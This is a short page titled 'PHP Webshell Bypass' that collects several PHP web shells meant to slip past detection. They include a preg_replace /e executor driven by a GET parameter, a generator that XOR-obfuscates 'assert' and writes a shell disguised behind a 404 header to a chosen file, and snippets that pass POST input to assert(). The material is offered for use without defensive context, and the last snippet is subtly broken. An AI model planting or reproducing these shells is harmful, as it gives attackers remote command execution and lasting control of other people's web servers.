PHP Webshell Bypass

1
2
3
4
5
6

<?php
if($_GET['␄']){
    $␄=$_GET['␄'];
    @preg_replace("/abcde/e",$␄, "abcdefg");
}
?>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

<?php
//code by Mr6
error_reporting(0);
	function randomkeys($length)   
{   
   $pattern = '`~-=!@#$%^&*_/+?<>{}|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';  
    for($i=0;$i<$length;$i++)   
    {   
        $key[$i]= $pattern{mt_rand(0,strlen($pattern)-1)};    //生成php随机数   
    }   
    return $key;   
}   
	function randname($length)   
{   
   $pattern = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';  
    for($i=0;$i<$length;$i++)   
    {   
        @$key.= $pattern{mt_rand(0,strlen($pattern)-1)};    //生成php随机数   
    }   
    return $key;   
} 
	$str=randomkeys(6); 
	$bname=randname(4);
	$lname=strrev(strtolower($bname));
	$str2="assert";
			echo "<?php \n";
			echo "header('HTTP/1.1 404');\n";
			echo "class  ".$bname."{ public \$c='';\nfunction __destruct(){\n";
	for ($i=0;$i<6;$i++)
	{
		$name="_".$i;
		$str3[$i]=bin2hex($str[$i] ^$str2[$i]);
		echo "$"."$name=";
	echo "'".$str[$i]."'"."^"."\"\\x".$str3[$i]."\";\n";
	}
	$aa='$db=$_0.$_1.$_2.$_3.$_4.$_5;';
	echo $aa;
	echo "\n";
	echo '@$db ("$this->c");}}';
	echo "\n";
	echo "\${$lname}=new {$bname}();\n";
	echo "@\${$lname}->c=\$_POST['Mr6'];\n";
	echo "?>\n";
	@$file=$_GET['file'];
	$html = ob_get_contents();
	if (isset($file)){
	if(file_put_contents($file,$html))
	echo "\n\n\n".$file."   save success!";}
	else {echo "Please input the file name like '?file=xxx.txt'";}
	?>

1
2
3
4
5
6

<?php
function a(){
	return $a=$_POST['1'];
}
@assert(a());
?>

1
2
3
4
5

<?php
$value=$key = "a";
foreach($_POST as $key=>$value){
	assert($value);
}

1
2
3
4
5
6
7

<?php
$x='$_PO'."STasdasd[".'1]';
$x = $x.str_replace('STasdasd',"ST[");

for ($x=0; $x<=0; $x++) {
	assert("$x");
}